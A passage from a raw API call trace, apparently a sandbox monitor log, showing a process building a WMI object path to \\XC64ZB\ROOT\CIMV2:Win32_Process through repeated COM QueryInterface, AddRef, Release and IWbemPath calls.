(This=0x1b4b01e0) returned 0x3 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2a00) returned 0x0 [0110.428] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2a00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.428] WbemDefPath:IUnknown:Release (This=0x1b4d2a00) returned 0x3 [0110.428] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0110.428] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0110.428] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0110.428] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0110.428] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0110.429] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0110.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b01e0) returned 0x0 [0110.429] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0110.429] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0110.429] WbemDefPath:IWbemPath:SetText (This=0x1b4b01e0, uMode=0x4, pszPath="") returned 0x0 [0110.429] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0110.429] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0110.429] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0110.429] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.429] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d29e0) returned 0x0 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d29e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0110.430] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d29e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b08a0) returned 0x0 [0110.430] WbemDefPath:IUnknown:Release (This=0x1b4d29e0) returned 0x0 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b08a0) returned 0x0 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0110.430] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2ca0) returned 0x0 [0110.430] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2ca0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.430] WbemDefPath:IUnknown:Release (This=0x1b4d2ca0) returned 0x3 [0110.430] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0110.430] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0110.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0110.430] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0110.430] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0110.431] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0110.431] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0110.431] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b08a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b08a0) returned 0x0 [0110.431] WbemDefPath:IUnknown:AddRef (This=0x1b4b08a0) returned 0x3 [0110.431] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x2 [0110.431] WbemDefPath:IWbemPath:SetText (This=0x1b4b08a0, uMode=0x4, pszPath="") returned 0x0 [0110.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0110.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0110.431] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b08a0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0110.431] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0110.431] WbemDefPath:IWbemPath:SetServer (This=0x1b4b08a0, Name="XC64ZB") returned 0x0 [0110.431] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0110.431] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0110.431] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0110.431] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.432] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d29e0) returned 0x0 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d29e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0110.432] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d29e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0660) returned 0x0 [0110.432] WbemDefPath:IUnknown:Release (This=0x1b4d29e0) returned 0x0 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0660) returned 0x0 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0110.432] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0110.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d30a0) returned 0x0 [0110.432] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d30a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.432] WbemDefPath:IUnknown:Release (This=0x1b4d30a0) returned 0x3 [0110.432] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0110.433] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0110.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0110.433] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0110.433] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0110.433] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0110.433] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0110.433] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0660, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0660) returned 0x0 [0110.433] WbemDefPath:IUnknown:AddRef (This=0x1b4b0660) returned 0x3 [0110.433] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x2 [0110.433] WbemDefPath:IWbemPath:SetText (This=0x1b4b0660, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0660, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0110.433] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b08a0) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0660, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0110.433] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b08a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0660, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0110.433] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b08a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b08a0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0110.433] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b08a0, Name="Win32_Process") returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b08a0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0110.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0110.434] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0110.434] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0110.434] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b08a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0110.434] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0110.461] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0110.461] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0110.461] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0110.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0110.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0110.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0110.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0110.465] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0110.565] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0110.566] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0110.566] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.568] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d3320) returned 0x0 [0110.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3320, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0110.568] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3320, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4af220) returned 0x0 [0110.568] WbemDefPath:IUnknown:Release (This=0x1b4d3320) returned 0x0 [0110.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4af220) returned 0x0 [0110.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0110.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0110.570] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0110.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0110.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0110.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0049a8*(Data1=0x3, 